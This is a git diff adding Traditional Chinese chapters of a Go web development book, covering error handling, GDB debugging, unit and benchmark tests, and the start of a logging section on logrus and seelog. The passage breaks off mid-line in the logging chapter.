000000000..70e83d864 --- /dev/null +++ b/zh-tw/11.0.md @@ -0,0 +1,19 @@ +# 11 錯誤處理,除錯和測試 +我們經常會看到很多程式設計師大部分的"程式設計"時間都花費在檢查 bug 和修復 bug 上。無論你是在編寫修改程式碼還是重構系統,幾乎都是花費大量的時間在進行故障排除和測試,外界都覺得我們程式設計師是設計師,能夠把一個系統從無做到有,是一項很偉大的工作,而且是相當有趣的工作,但事實上我們每天都是徘徊在排錯、除錯、測試之間。當然如果你有良好的習慣和技術方案來直面這些問題,那麼你就有可能將排錯時間減到最少,而儘可能的將時間花費在更有價值的事情上。 + +但是遺憾的是很多程式設計師不願意在錯誤處理、除錯和測試能力上下工夫,導致後面應用上線之後查詢錯誤、定位問題花費更多的時間。所以我們在設計應用之前就做好錯誤處理規劃、測試案例等,那麼將來修改程式碼、升級系統都將變得簡單。 + +開發 Web 應用過程中,錯誤自然難免,那麼如何更好的找到錯誤原因,解決問題呢?11.1 小節將介紹 Go 語言中如何處理錯誤,如何設計自己的套件、函式的錯誤處理,11.2 小節將介紹如何使用 GDB 來除錯我們的程式,動態執行情況下各種變數資訊,執行情況的監聽和除錯。 + +11.3 小節將對 Go 語言中的單元測試進行深入的探討,並範例如何來編寫單元測試,Go 的單元測試規則規範如何定義,以保證以後升級修改執行相應的測試程式碼就可以進行最小化的測試。 + +長期以來,培養良好的除錯、測試習慣一直是很多程式設計師逃避的事情,所以現在你不要再逃避了,就從你現在的專案開發,從學習 Go Web 開發開始養成良好的習慣。 + +## 目錄 + +![](images/navi11.png) + +## links + * [目錄]() + * 上一章:[第十章總結](<10.4.md>) + * 下一節:[錯誤處理](<11.1.md>) \ No newline at end of file diff --git a/zh-tw/11.1.md b/zh-tw/11.1.md new file mode 100644 index 000000000..b26124cff --- /dev/null +++ b/zh-tw/11.1.md @@ -0,0 +1,241 @@ +# 11.1 錯誤處理 +Go 語言主要的設計準則是:簡潔、明白,簡潔是指語法和 C 類似,相當的簡單,明白是指任何語句都是很明顯的,不含有任何隱含的東西,在錯誤處理方案的設計中也貫徹了這一思想。我們知道在 C 語言裡面是透過回傳-1 或者 NULL 之類別的資訊來表示錯誤,但是對於使用者來說,不檢視相應的 API 說明文件,根本搞不清楚這個回傳值究竟代表什麼意思,比如 : 回傳 0 是成功,還是失敗,而 Go 定義了一個叫做 error 的型別,來明確的表達錯誤。在使用時,透過把回傳的 error 變數與 nil 的比較,來判定操作是否成功。例如`os.Open`函式在開啟檔案失敗時將回傳一個不為 nil 的 error 變數 + +```Go + +func Open(name string) (file *File, err error) +``` +下面這個例子透過呼叫`os.Open`開啟一個檔案,如果出現錯誤,那麼就會呼叫`log.Fatal`來輸出錯誤資訊: + +```Go + +f, err := os.Open("filename.ext") +if err != nil { + log.Fatal(err) +} +``` +類似於`os.Open`函式,標準套件中所有可能出錯的 API 都會回傳一個 error 變數,以方便錯誤處理,這個小節將詳細地介紹 error 型別的設計,和討論開發 Web 應用中如何更好地處理 error。 +## Error 型別 +error 型別是一個介面型別,這是它的定義: + +```Go + +type error interface { + Error() string +} +``` +error 是一個內建的介面型別,我們可以在/builtin/套件下面找到相應的定義。而我們在很多內部套件裡面用到的 error 是 errors 套件下面的實現的私有結構 errorString + +```Go + +// errorString is a trivial implementation of error. +type errorString struct { + s string +} + +func (e *errorString) Error() string { + return e.s +} +``` +你可以透過`errors.New`把一個字串轉化為 errorString,以得到一個滿足介面 error 的物件,其內部實現如下: + +```Go + +// New returns an error that formats as the given text. +func New(text string) error { + return &errorString{text} +} +``` +下面這個例子示範了如何使用`errors.New`: + +```Go + +func Sqrt(f float64) (float64, error) { + if f < 0 { + return 0, errors.New("math: square root of negative number") + } + // implementation +} +``` +在下面的例子中,我們在呼叫 Sqrt 的時候傳遞的一個負數,然後就得到了 non-nil 的 error 物件,將此物件與 nil 比較,結果為 true,所以 fmt.Println(fmt 套件在處理 error 時會呼叫 Error 方法)被呼叫,以輸出錯誤,請看下面呼叫的範例程式碼: + +```Go + +f, err := Sqrt(-1) + if err != nil { + fmt.Println(err) + } +``` +## 自訂 Error + +透過上面的介紹我們知道 error 是一個 interface,所以在實現自己的套件的時候,透過定義實現此介面的結構,我們就可以實現自己的錯誤定義,請看來自 Json 套件的範例: + +```Go + +type SyntaxError struct { + msg string // 錯誤描述 + Offset int64 // 錯誤發生的位置 +} + +func (e *SyntaxError) Error() string { return e.msg } +``` +Offset 欄位在呼叫 Error 的時候不會被列印,但是我們可以透過型別斷言取得錯誤型別,然後可以列印相應的錯誤資訊,請看下面的例子: + +```Go + +if err := dec.Decode(&val); err != nil { + if serr, ok := err.(*json.SyntaxError); ok { + line, col := findLine(f, serr.Offset) + return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) + } + return err +} +``` +需要注意的是,函式回傳自訂錯誤時,回傳值推薦設定為 error 型別,而非自訂錯誤型別,特別需要注意的是不應預宣告自訂錯誤型別的變數。例如: + +```Go + +func Decode() *SyntaxError { // 錯誤,將可能導致上層呼叫者 err!=nil 的判斷永遠為 true。 + var err *SyntaxError // 預宣告錯誤變數 + if 出錯條件 { + err = &SyntaxError{} + } + return err // 錯誤,err 永遠等於非 nil,導致上層呼叫者 err!=nil 的判斷始終為 true + + } +``` +原因見 http://golang.org/doc/faq#nil_error + +上面例子簡單的示範了如何自訂 Error 型別。但是如果我們還需要更復雜的錯誤處理呢?此時,我們來參考一下 net 套件採用的方法: + +```Go + +package net + +type Error interface { + error + Timeout() bool // Is the error a timeout? + Temporary() bool // Is the error temporary? +} +``` + +在呼叫的地方,透過型別斷言 err 是不是 net.Error,來細化錯誤的處理,例如下面的例子,如果一個網路發生臨時性錯誤,那麼將會 sleep 1 秒之後重試: + +```Go + +if nerr, ok := err.(net.Error); ok && nerr.Temporary() { + time.Sleep(1e9) + continue +} +if err != nil { + log.Fatal(err) +} +``` +## 錯誤處理 +Go 在錯誤處理上採用了與 C 類似的檢查回傳值的方式,而不是其他多數主流語言採用的異常方式,這造成了程式碼編寫上的一個很大的缺點 : 錯誤處理程式碼的冗餘,對於這種情況是我們透過複用檢測函式來減少類似的程式碼。 + +請看下面這個例子程式碼: + +```Go + +func init() { + http.HandleFunc("/view", viewRecord) +} + +func viewRecord(w http.ResponseWriter, r *http.Request) { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + http.Error(w, err.Error(), 500) + return + } + if err := viewTemplate.Execute(w, record); err != nil { + http.Error(w, err.Error(), 500) + } +} +``` +上面的例子中取得資料和範本展示呼叫時都有檢測錯誤,當有錯誤發生時,呼叫了統一的處理函式`http.Error`,回傳給客戶端 500 錯誤碼,並顯示相應的錯誤資料。但是當越來越多的 HandleFunc 加入之後,這樣的錯誤處理邏輯程式碼就會越來越多,其實我們可以透過自訂路由器來縮減程式碼(實現的思路可以參考第三章的 HTTP 詳解)。 + +```Go + +type appHandler func(http.ResponseWriter, *http.Request) error + +func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if err := fn(w, r); err != nil { + http.Error(w, err.Error(), 500) + } +} +``` +上面我們定義了自訂的路由器,然後我們可以透過如下方式來註冊函式: + +```Go + +func init() { + http.Handle("/view", appHandler(viewRecord)) +} +``` +當請求/view 的時候我們的邏輯處理可以變成如下程式碼,和第一種實現方式相比較已經簡單了很多。 + +```Go + +func viewRecord(w http.ResponseWriter, r *http.Request) error { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return err + } + return viewTemplate.Execute(w, record) +} +``` +上面的例子錯誤處理的時候所有的錯誤回傳給使用者的都是 500 錯誤碼,然後顯示出來相應的錯誤程式碼,其實我們可以把這個錯誤資訊定義的更加友好,除錯的時候也方便定位問題,我們可以自訂回傳的錯誤型別: + +```Go + +type appError struct { + Error error + Message string + Code int +} +``` +這樣我們的自訂路由器可以改成如下方式: + +```Go + +type appHandler func(http.ResponseWriter, *http.Request) *appError + +func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if e := fn(w, r); e != nil { // e is *appError, not os.Error. + c := appengine.NewContext(r) + c.Errorf("%v", e.Error) + http.Error(w, e.Message, e.Code) + } +} +``` +這樣修改完自訂錯誤之後,我們的邏輯處理可以改成如下方式: + +```Go + +func viewRecord(w http.ResponseWriter, r *http.Request) *appError { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return &appError{err, "Record not found", 404} + } + if err := viewTemplate.Execute(w, record); err != nil { + return &appError{err, "Can't display record", 500} + } + return nil +} +``` +如上所示,在我們訪問 view 的時候可以根據不同的情況取得不同的錯誤碼和錯誤資訊,雖然這個和第一個版本的程式碼量差不多,但是這個顯示的錯誤更加明顯,提示的錯誤資訊更加友好,擴充套件性也比第一個更好。 + +## 總結 +在程式設計中,容錯是相當重要的一部分工作,在 Go 中它是透過錯誤處理來實現的,error 雖然只是一個介面,但是其變化卻可以有很多,我們可以根據自己的需求來實現不同的處理,最後介紹的錯誤處理方案,希望能給大家在如何設計更好 Web 錯誤處理方案上帶來一點思路。 + +## links + * [目錄]() + * 上一節:[錯誤處理,除錯和測試](<11.0.md>) + * 下一節:[使用 GDB 除錯](<11.2.md>) diff --git a/zh-tw/11.2.md b/zh-tw/11.2.md new file mode 100644 index 000000000..b1d3a0024 --- /dev/null +++ b/zh-tw/11.2.md @@ -0,0 +1,253 @@ +# 11.2 使用 GDB 除錯 +開發程式過程中除錯程式碼是開發者經常要做的一件事情,Go 語言不像 PHP、Python 等動態語言,只要修改不需要編譯就可以直接輸出,而且可以動態的在執行環境下列印資料。當然 Go 語言也可以透過 Println 之類別的列印資料來除錯,但是每次都需要重新編譯,這是一件相當麻煩的事情。我們知道在 Python 中有 pdb/ipdb 之類別的工具除錯,Javascript 也有類似工具,這些工具都能夠動態的顯示變數資訊,單步除錯等。不過慶幸的是 Go 也有類似的工具支援:GDB。Go 內部已經內建支援了 GDB,所以,我們可以透過 GDB 來進行除錯,那麼本小節就來介紹一下如何透過 GDB 來除錯 Go 程式。 + +另外建議純 go 程式碼使用[delve](https://github.com/derekparker/delve)可以很好的進行 Go 程式碼除錯 + +## GDB 除錯簡介 +GDB 是 FSF(自由軟體基金會)釋出的一個強大的類別 UNIX 系統下的程式除錯工具。使用 GDB 可以做如下事情: + +1. 啟動程式,可以按照開發者的自訂要求執行程式。 +2. 可讓被除錯的程式在開發者設定的調置的斷點處停住。(斷點可以是條件表示式) +3. 當程式被停住時,可以檢查此時程式中所發生的事。 +4. 動態的改變當前程式的執行環境。 + +目前支援除錯 Go 程式的 GDB 版本必須大於 7.1。 + +編譯 Go 程式的時候需要注意以下幾點 + +1. 傳遞參數-ldflags "-s",忽略 debug 的列印資訊 +2. 傳遞-gcflags "-N -l" 參數,這樣可以忽略 Go 內部做的一些優化,聚合變數和函式等優化,這樣對於 GDB 除錯來說非常困難,所以在編譯的時候加入這兩個參數避免這些優化。 + +## 常用命令 +GDB 的一些常用命令如下所示 + +- list + + 簡寫命令`l`,用來顯示原始碼,預設顯示十行程式碼,後面可以帶上參數顯示的具體行,例如:`list 15`,顯示十行程式碼,其中第 15 行在顯示的十行裡面的中間,如下所示。 + + 10 time.Sleep(2 * time.Second) + 11 c <- i + 12 } + 13 close(c) + 14 } + 15 + 16 func main() { + 17 msg := "Starting main" + 18 fmt.Println(msg) + 19 bus := make(chan int) + + +- break + + 簡寫命令 `b`,用來設定斷點,後面跟上參數設定斷點的行數,例如`b 10`在第十行設定斷點。 + +- delete + 簡寫命令 `d`,用來刪除斷點,後面跟上斷點設定的序號,這個序號可以透過`info breakpoints`取得相應的設定的斷點序號,如下是顯示的設定斷點序號。 + + Num Type Disp Enb Address What + 2 breakpoint keep y 0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23 + breakpoint already hit 1 time + +- backtrace + + 簡寫命令 `bt`,用來列印執行的程式碼過程,如下所示: + + #0 main.main () at /home/xiemengjun/gdb.go:23 + #1 0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #2 0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #3 0x0000000000000000 in ?? () +- info + + info 命令用來顯示資訊,後面有幾種參數,我們常用的有如下幾種: + + - `info locals` + + 顯示當前執行的程式中的變數值 + - `info breakpoints` + + 顯示當前設定的斷點列表 + - `info goroutines` + + 顯示當前執行的 goroutine 列表,如下程式碼所示,帶*的表示當前執行的 + + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched +- print + + 簡寫命令`p`,用來列印變數或者其他資訊,後面跟上需要列印的變數名,當然還有一些很有用的函式$len()和$cap(),用來回傳當前 string、slices 或者 maps 的長度和容量。 + +- whatis + + 用來顯示當前變數的型別,後面跟上變數名,例如`whatis msg`,顯示如下: + + type = struct string +- next + + 簡寫命令 `n`,用來單步除錯,跳到下一步,當有斷點之後,可以輸入 `n` 跳轉到下一步繼續執行 +- continue + + 簡稱命令 `c`,用來跳出當前斷點處,後面可以跟參數 N,跳過多少次斷點 + +- set variable + + 該命令用來改變執行過程中的變數值,格式如:`set variable =` + +## 除錯過程 +我們透過下面這個程式碼來示範如何透過 GDB 來除錯 Go 程式,下面是將要示範的程式碼: + +```Go + +package main + +import ( + "fmt" + "time" +) + +func counting(c chan<- int) { + for i := 0; i < 10; i++ { + time.Sleep(2 * time.Second) + c <- i + } + close(c) +} + +func main() { + msg := "Starting main" + fmt.Println(msg) + bus := make(chan int) + msg = "starting a gofunc" + go counting(bus) + for count := range bus { + fmt.Println("count:", count) + } +} +``` +編譯檔案,產生可執行檔案 gdbfile: + + go build -gcflags "-N -l" gdbfile.go + +透過 gdb 命令啟動除錯: + + gdb gdbfile + +啟動之後首先看看這個程式是不是可以執行起來,只要輸入 `run` 命令 Enter 後程序就開始執行,程式正常的話可以看到程式輸出如下,和我們在命令列直接執行程式輸出是一樣的: + + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + count: 0 + count: 1 + count: 2 + count: 3 + count: 4 + count: 5 + count: 6 + count: 7 + count: 8 + count: 9 + [LWP 2771 exited] + [Inferior 1 (process 2771) exited normally] +好了,現在我們已經知道怎麼讓程式跑起來了,接下來開始給程式碼設定斷點: + + (gdb) b 23 + Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + [New LWP 3284] + [Switching to LWP 3284] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +上面例子`b 23`表示在第 23 行設定了斷點,之後輸入 `run` 開始執行程式。現在程式在前面設定斷點的地方停住了,我們需要檢視斷點相應上下文的原始碼,輸入 `list` 就可以看到原始碼顯示從當前停止行的前五行開始: + + (gdb) list + 18 fmt.Println(msg) + 19 bus := make(chan int) + 20 msg = "starting a gofunc" + 21 go counting(bus) + 22 for count := range bus { + 23 fmt.Println("count:", count) + 24 } + 25 } + +現在 GDB 在運行當前的程式的環境中已經保留了一些有用的除錯資訊,我們只需顯示出相應的變數,檢視相應變數的型別及值: + + (gdb) info locals + count = 0 + bus = 0xf840001a50 + (gdb) p count + $1 = 0 + (gdb) p bus + $2 = (chan int) 0xf840001a50 + (gdb) whatis bus + type = chan int + +接下來該讓程式繼續往下執行,請繼續看下面的命令 + + (gdb) c + Continuing. + count: 0 + [New LWP 3303] + [Switching to LWP 3303] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + (gdb) c + Continuing. + count: 1 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +每次輸入 `c` 之後都會執行一次程式碼,又跳到下一次 for 迴圈,繼續顯示出來相應的資訊。 + +設想目前需要改變上下文相關變數的資訊,跳過一些過程,並繼續執行下一步,得出修改後想要的結果: + + (gdb) info locals + count = 2 + bus = 0xf840001a50 + (gdb) set variable count=9 + (gdb) info locals + count = 9 + bus = 0xf840001a50 + (gdb) c + Continuing. + count: 9 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +最後稍微思考一下,前面整個程式執行的過程中到底建立了多少個 goroutine,每個 goroutine 都在做什麼: + + (gdb) info goroutines + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + (gdb) goroutine 1 bt + #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 + #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 + #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 + #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 + #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #6 0x0000000000000000 in ?? () + +透過檢視 goroutines 的命令我們可以清楚地了解 goruntine 內部是怎麼執行的,每個函式的呼叫順序已經明明白白地顯示出來了。 + +## 小結 +本小節我們介紹了 GDB 除錯 Go 程式的一些基本命令,包括`run`、`print`、`info`、`set variable`、`coutinue`、`list`、`break` 等經常用到的除錯命令,透過上面的例子示範,我相信讀者已經對於透過 GDB 除錯 Go 程式有了基本的理解,如果你想取得更多的除錯技巧請參考官方網站的 GDB 除錯手冊,還有 GDB 官方網站的手冊。 + +## links + * [目錄]() + * 上一節:[錯誤處理](<11.1.md>) + * 下一節:[Go 怎麼寫測試案例](<11.3.md>) diff --git a/zh-tw/11.3.md b/zh-tw/11.3.md new file mode 100644 index 000000000..79c0a63b3 --- /dev/null +++ b/zh-tw/11.3.md @@ -0,0 +1,174 @@ +# 11.3 Go 怎麼寫測試案例 +開發程式其中很重要的一點是測試,我們如何保證程式碼的品質,如何保證每個函式是可執行,執行結果是正確的,又如何保證寫出來的程式碼效能是好的,我們知道單元測試的重點在於發現程式設計或實現的邏輯錯誤,使問題及早暴露,便於問題的定位解決,而效能測試的重點在於發現程式設計上的一些問題,讓線上的程式能夠在高併發的情況下還能保持穩定。本小節將帶著這一連串的問題來講解 Go 語言中如何來實現單元測試和效能測試。 + +Go 語言中自帶有一個輕量級的測試框架 `testing` 和自帶的`go test`命令來實現單元測試和效能測試,`testing`框架和其他語言中的測試框架類似,你可以基於這個框架寫針對相應函式的測試案例,也可以基於該框架寫相應的壓力測試案例,那麼接下來讓我們一一來看一下怎麼寫。 + +另外建議安裝[gotests](https://github.com/cweill/gotests)外掛自動產生測試程式碼: + +```Go +go get -u -v github.com/cweill/gotests/... + +``` + +## 如何編寫測試案例 +由於`go test`命令只能在一個相應的目錄下執行所有檔案,所以我們接下來建立一個專案目錄`gotest`,這樣我們所有的程式碼和測試程式碼都在這個目錄下。 + +接下來我們在該目錄下面建立兩個檔案:gotest.go 和 gotest_test.go + +1. gotest.go:這個檔案裡面我們是建立了一個套件,裡面有一個函式實現了除法運算: + +```Go + + package gotest + + import ( + "errors" + ) + + func Division(a, b float64) (float64, error) { + if b == 0 { + return 0, errors.New("除數不能為 0") + } + + return a / b, nil + } + +``` + +2. gotest_test.go:這是我們的單元測試檔案,但是記住下面的這些原則: + + - 檔名必須是`_test.go`結尾的,這樣在執行`go test`的時候才會執行到相應的程式碼 + - 你必須 import `testing`這個包 + - 所有的測試案例函式必須是 `Test` 開頭 + - 測試案例會按照原始碼中寫的順序依次執行 + - 測試函式`TestXxx()`的參數是`testing.T`,我們可以使用該型別來記錄錯誤或者是測試狀態 + - 測試格式:`func TestXxx (t *testing.T)`,`Xxx`部分可以為任意的字母數字的組合,但是首字母不能是小寫字母[a-z],例如 `Testintdiv` 是錯誤的函式名。 + - 函式中透過呼叫`testing.T`的`Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf`方法,說明測試不透過,呼叫 `Log` 方法用來記錄測試的資訊。 + + 下面是我們的測試案例的程式碼: + +```Go + + package gotest + + import ( + "testing" + ) + + func Test_Division_1(t *testing.T) { + if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function + t.Error("除法函式測試沒透過") // 如果不是如預期的那麼就報錯 + } else { + t.Log("第一個測試通過了") //記錄一些你期望記錄的資訊 + } + } + + func Test_Division_2(t *testing.T) { + t.Error("就是不透過") + } + +``` + + 我們在專案目錄下面執行`go test`,就會顯示如下資訊: + + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go:16: 就是不透過 + FAIL + exit status 1 + FAIL gotest 0.013s + 從這個結果顯示測試沒有透過,因為在第二個測試函式中我們寫死了測試不透過的程式碼`t.Error`,那麼我們的第一個函式執行的情況怎麼樣呢?預設情況下執行`go test`是不會顯示測試透過的資訊的,我們需要帶上參數`go test -v`,這樣就會顯示如下資訊: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go:11: 第一個測試通過了 + === RUN Test_Division_2 + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go:16: 就是不透過 + FAIL + exit status 1 + FAIL gotest 0.012s + 上面的輸出詳細的展示了這個測試的過程,我們看到測試函式 1`Test_Division_1` 測試透過,而測試函式 2`Test_Division_2` 測試失敗了,最後得出結論測試不透過。接下來我們把測試函式 2 修改成如下程式碼: + +```Go + + func Test_Division_2(t *testing.T) { + if _, e := Division(6, 0); e == nil { //try a unit test on function + t.Error("Division did not work as expected.") // 如果不是如預期的那麼就報錯 + } else { + t.Log("one test passed.", e) //記錄一些你期望記錄的資訊 + } + } +``` + 然後我們執行`go test -v`,就顯示如下資訊,測試通過了: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go:11: 第一個測試通過了 + === RUN Test_Division_2 + --- PASS: Test_Division_2 (0.00 seconds) + gotest_test.go:20: one test passed. 除數不能為 0 + + PASS + ok gotest 0.013s + +## 如何編寫壓力測試 +壓力測試用來檢測函式(方法)的效能,和編寫單元功能測試的方法類似,此處不再贅述,但需要注意以下幾點: + +- 壓力測試案例必須遵循如下格式,其中 XXX 可以是任意字母數字的組合,但是首字母不能是小寫字母 + +```Go + func BenchmarkXXX(b *testing.B) { ... } +``` + +- `go test`不會預設執行壓力測試的函式,如果要執行壓力測試需要帶上參數`-test.bench`,語法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示測試全部的壓力測試函式 +- 在壓力測試案例中,請記得在迴圈體內使用`testing.B.N`,以使測試可以正常的執行 +- 檔名也必須以`_test.go`結尾 + +下面我們建立一個壓力測試檔案 webbench_test.go,程式碼如下所示: + +```Go + +package gotest + +import ( + "testing" +) + +func Benchmark_Division(b *testing.B) { + for i := 0; i < b.N; i++ { //use b.N for looping + Division(4, 5) + } +} + +func Benchmark_TimeConsumingFunction(b *testing.B) { + b.StopTimer() //呼叫該函式停止壓力測試的時間計數 + + //做一些初始化的工作,例如讀取檔案資料,資料庫連線之類別的, + //這樣這些時間不影響我們測試函式本身的效能 + + b.StartTimer() //重新開始時間 + for i := 0; i < b.N; i++ { + Division(4, 5) + } +} + +``` + +我們執行命令`go test webbench_test.go -test.bench=".*"`,可以看到如下結果: +``` +Benchmark_Division-4 500000000 7.76 ns/op 456 B/op 14 allocs/op +Benchmark_TimeConsumingFunction-4 500000000 7.80 ns/op 224 B/op 4 allocs/op +PASS +ok gotest 9.364s +``` + +上面的結果顯示我們沒有執行任何 `TestXXX` 的單元測試函式,顯示的結果只執行了壓力測試函式,第一條顯示了 `Benchmark_Division` 執行了 500000000 次,每次的執行平均時間是 7.76 納秒,第二條顯示了 `Benchmark_TimeConsumingFunction` 執行了 500000000,每次的平均執行時間是 7.80 納秒。最後一條顯示總共的執行時間。 + +## 小結 +透過上面對單元測試和壓力測試的學習,我們可以看到 `testing` 套件很輕量,編寫單元測試和壓力測試案例非常簡單,配合內建的`go test`命令就可以非常方便的進行測試,這樣在我們每次修改完程式碼,執行一下 go test 就可以簡單的完成迴歸測試了。 + + +## links + * [目錄]() + * 上一節:[使用 GDB 除錯](<11.2.md>) + * 下一節:[小結](<11.4.md>) diff --git a/zh-tw/11.4.md b/zh-tw/11.4.md new file mode 100644 index 000000000..dd5737021 --- /dev/null +++ b/zh-tw/11.4.md @@ -0,0 +1,7 @@ +# 11.4 小結 +本章我們透過三個小節分別介紹了 Go 語言中如何處理錯誤,如何設計錯誤處理,然後第二小節介紹了如何透過 GDB 來除錯程式,透過 GDB 我們可以單步除錯、可以檢視變數、修改變數、列印執行過程等,最後我們介紹了如何利用 Go 語言自帶的輕量級框架 `testing` 來編寫單元測試和壓力測試,使用`go test`就可以方便的執行這些測試,使得我們將來程式碼升級修改之後很方便的進行迴歸測試。這一章也許對於你編寫程式邏輯沒有任何幫助,但是對於你編寫出來的程式程式碼保持高品質是至關重要的,因為一個好的 Web 應用必定有良好的錯誤處理機制(錯誤提示的友好、可擴充套件性)、有好的單元測試和壓力測試以保證上線之後程式碼能夠保持良好的效能和按預期的執行。 + +## links + * [目錄]() + * 上一節:[Go 怎麼寫測試案例](<11.3.md>) + * 下一章:[部署與維護](<12.0.md>) diff --git a/zh-tw/12.0.md b/zh-tw/12.0.md new file mode 100644 index 000000000..0b519f468 --- /dev/null +++ b/zh-tw/12.0.md @@ -0,0 +1,11 @@ +# 12 部署與維護 +到目前為止,我們前面已經介紹了如何開發程式、除錯程式以及測試程式,正如人們常說的:開發最後的 10%需要花費 90%的時間,所以這一章我們將強調這最後的 10%部分,要真正成為讓人信任並使用的優秀應用,需要考慮到一些細節,以上所說的 10%就是指這些小細節。 + +本章我們將透過四個小節來介紹這些小細節的處理,第一小節介紹如何在生產服務上記錄程式產生的日誌,如何記錄日誌,第二小節介紹發生錯誤時我們的程式如何處理,如何保證儘量少的影響到使用者的訪問,第三小節介紹如何來部署 Go 的獨立程式,由於目前 Go 程式還無法像 C 那樣寫成 daemon,那麼我們如何管理這樣的程序程式後臺執行呢?第四小節將介紹應用資料的備份和還原,儘量保證應用在崩潰的情況能夠保持資料的完整性。 +## 目錄 + ![](images/navi12.png) + +## links + * [目錄]() + * 上一章:[第十一章總結](<11.4.md>) + * 下一節:[應用日誌](<12.1.md>) \ No newline at end of file diff --git a/zh-tw/12.1.md b/zh-tw/12.1.md new file mode 100644 index 000000000..51187bb6a --- /dev/null +++ b/zh-tw/12.1.md @@ -0,0 +1,261 @@ +# 12.1 應用日誌 +我們期望開發的 Web 應用程式能夠把整個程式執行過程中出現的各種事件一一記錄下來,Go 語言中提供了一個簡易的 log 套件,我們使用該套件可以方便的實現日誌記錄的功能,這些日誌都是基於 fmt 套件的列印再結合 panic 之類別的函式來進行一般的列印、丟擲錯誤處理。Go 目前標準套件只是包含了簡單的功能,如果我們想把我們的應用日誌儲存到檔案,然後又能夠結合日誌實現很多複雜的功能(編寫過 Java 或者 C++的讀者應該都使用過 log4j 和 log4cpp 之類別的日誌工具),可以使用第三方開發的日誌系統:[logrus](https://github.com/sirupsen/logrus)和[seelog](https://github.com/cihub/seelog),它們實現了很強大的日誌功能,可以結合自己專案選擇。接下來我們介紹如何透過該日誌系統來實現我們應用的日誌功能。 + +## logrus 介紹 +logrus 是用 Go 語言實現的一個日誌系統,與標準函式庫 log 完全相容並且核心 API 很穩定,是 Go 語言目前最活躍的日誌函式庫 + +首先安裝 logrus + +```Go + +go get -u github.com/sirupsen/logrus + +``` + +簡單例子: + +```Go + +package main + +import ( + log "github.com/Sirupsen/logrus" +) + +func main() { + log.WithFields(log.Fields{ + "animal": "walrus", + }).Info("A walrus appears") +} +``` +### 基於 logrus 的自訂日誌處理 + +```Go + +package main + +import ( + "os" + + log "github.com/Sirupsen/logrus" +) + +func init() { + // 日誌格式化為 JSON 而不是預設的 ASCII + + log.SetFormatter(&log.JSONFormatter{}) + + // 輸出 stdout 而不是預設的 stderr,也可以是一個檔案 + log.SetOutput(os.Stdout) + + // 只記錄嚴重或以上警告 + log.SetLevel(log.WarnLevel) +} + +func main() { + log.WithFields(log.Fields{ + "animal": "walrus", + "size": 10, + }).Info("A group of walrus emerges from the ocean") + + log.WithFields(log.Fields{ + "omg": true, + "number": 122, + }).Warn("The group's number increased tremendously!") + + log.WithFields(log.Fields{ + "omg": true, + "number": 100, + }).Fatal("The ice breaks!") + + // 透過日誌語句重用欄位 + // logrus.Entry 回傳自 WithFields() + contextLogger := log.WithFields(log.Fields{ + "common": "this is a common field", + "other": "I also should be logged always", + }) + + contextLogger.Info("I'll be logged with common and other field") + contextLogger.Info("Me too") +} +``` + +## seelog 介紹 +seelog 是用 Go 語言實現的一個日誌系統,它提供了一些簡單的函式來實現複雜的日誌分配、過濾和格式化。主要有如下特性: + +- XML 的動態配置,可以不用重新編譯程式而動態的載入配置資訊 +- 支援熱更新,能夠動態改變配置而不需要重啟應用 +- 支援多輸出流,能夠同時把日誌輸出到多種流中、例如檔案流、網路流等 +- 支援不同的日誌輸出 + + - 命令列輸出 + - 檔案輸出 + - 快取輸出 + - 支援 log rotate + - SMTP 郵件 + +上面只列舉了部分特性,seelog 是一個特別強大的日誌處理系統,詳細的內容請參看官方 wiki。接下來我將簡要介紹一下如何在專案中使用它: + +首先安裝 seelog + +```Go + +go get -u github.com/cihub/seelog +``` + +然後我們來看一個簡單的例子: + +```Go + +package main + +import log 